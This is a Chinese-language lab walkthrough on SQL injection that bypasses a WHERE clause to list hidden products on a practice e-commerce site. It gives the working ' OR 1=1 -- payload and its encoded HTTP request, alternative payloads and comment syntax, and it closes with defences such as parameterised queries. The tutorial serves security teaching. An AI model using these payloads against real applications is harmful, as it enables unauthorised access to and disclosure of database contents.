SQL注入之突破WHERE限制的SQL子句,显示表内全部内容
字数 1079 2025-08-10 16:34:28
SQL注入突破WHERE限制的教学文档
实验概述
本实验演示了如何利用SQL注入漏洞突破WHERE子句的限制,显示数据库表中所有内容(包括隐藏数据)。实验场景是一个电子商务网站,存在产品类别筛选器的SQL注入漏洞。
前置知识
- 不安全SQL拼接:网站直接将用户输入拼接到SQL语句中执行查询
- 典型漏洞场景:当用户访问
https://insecure-website.com/products?category=Gifts时,后端执行:SELECT * FROM products WHERE category = 'Gifts' - 注释符使用:在SQL注入中常用
--注释掉原查询的剩余部分
实验目标
- 目标SQL查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1 - 攻击目标:修改查询以显示所有产品(包括未发布的产品,即
released = 0的记录)
详细攻击步骤
1. 识别注入点
-
分析网站功能,发现产品分类筛选器:
- 原始请求:
/filter?category=Accessories - 对应SQL:
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
- 原始请求:
-
测试注入点:
- 输入单引号
'测试:SELECT * FROM products WHERE category = ''' AND released = 1 - 观察结果:服务器返回500错误,确认存在SQL注入漏洞
- 输入单引号
2. 构造注入payload
-
基本思路:
- 闭合原查询中的字符串
- 添加
OR 1=1使条件恒为真 - 注释掉原查询的剩余部分
-
构造的payload:
' OR 1=1 --- URL编码后:
'%20OR%201=1%20--%20
- URL编码后:
-
最终请求:
GET /filter?category=Accessories'%20OR%201=1%20--%20 HTTP/2
3. 结果分析
-
注入后的SQL语句:
SELECT * FROM products WHERE category = '' OR 1=1 -- ' AND released = 1- 实际执行:
SELECT * FROM products WHERE 1=1 - 效果:查询products表中的所有记录,忽略released限制
- 实际执行:
-
结果:页面显示所有产品,包括未发布的产品,实验成功
关键知识点总结
-
注入点识别:
- 寻找用户输入直接拼接到SQL查询中的参数
- 通过输入特殊字符(如单引号)测试是否引发SQL错误
-
payload构造原则:
- 正确闭合原查询中的字符串或括号
- 使用恒真条件(如
1=1)绕过限制 - 注释掉原查询的剩余部分(特别是可能限制结果的WHERE条件)
-
URL编码注意事项:
- 空格编码为
%20 - 其他特殊字符也需要相应编码
- 空格编码为
-
防御措施:
- 使用参数化查询(预编译语句)
- 实施输入验证和过滤
- 最小权限原则,限制数据库用户权限
- 错误处理,避免泄露敏感信息
扩展思考
-
其他绕过方式:
- 使用
' OR ''='代替OR 1=1 - 使用
;多语句执行(取决于数据库支持)
- 使用
-
不同数据库的注释语法:
- MySQL:
--(注意末尾空格)或# - Oracle:
-- - SQL Server:
--或/* */
- MySQL:
-
进阶利用:
- 联合查询获取其他表数据
- 基于时间的盲注
- 布尔盲注
通过本实验,我们掌握了基本的SQL注入技术,特别是如何突破WHERE子句的限制获取隐藏数据。理解这些技术有助于更好地防御此类攻击。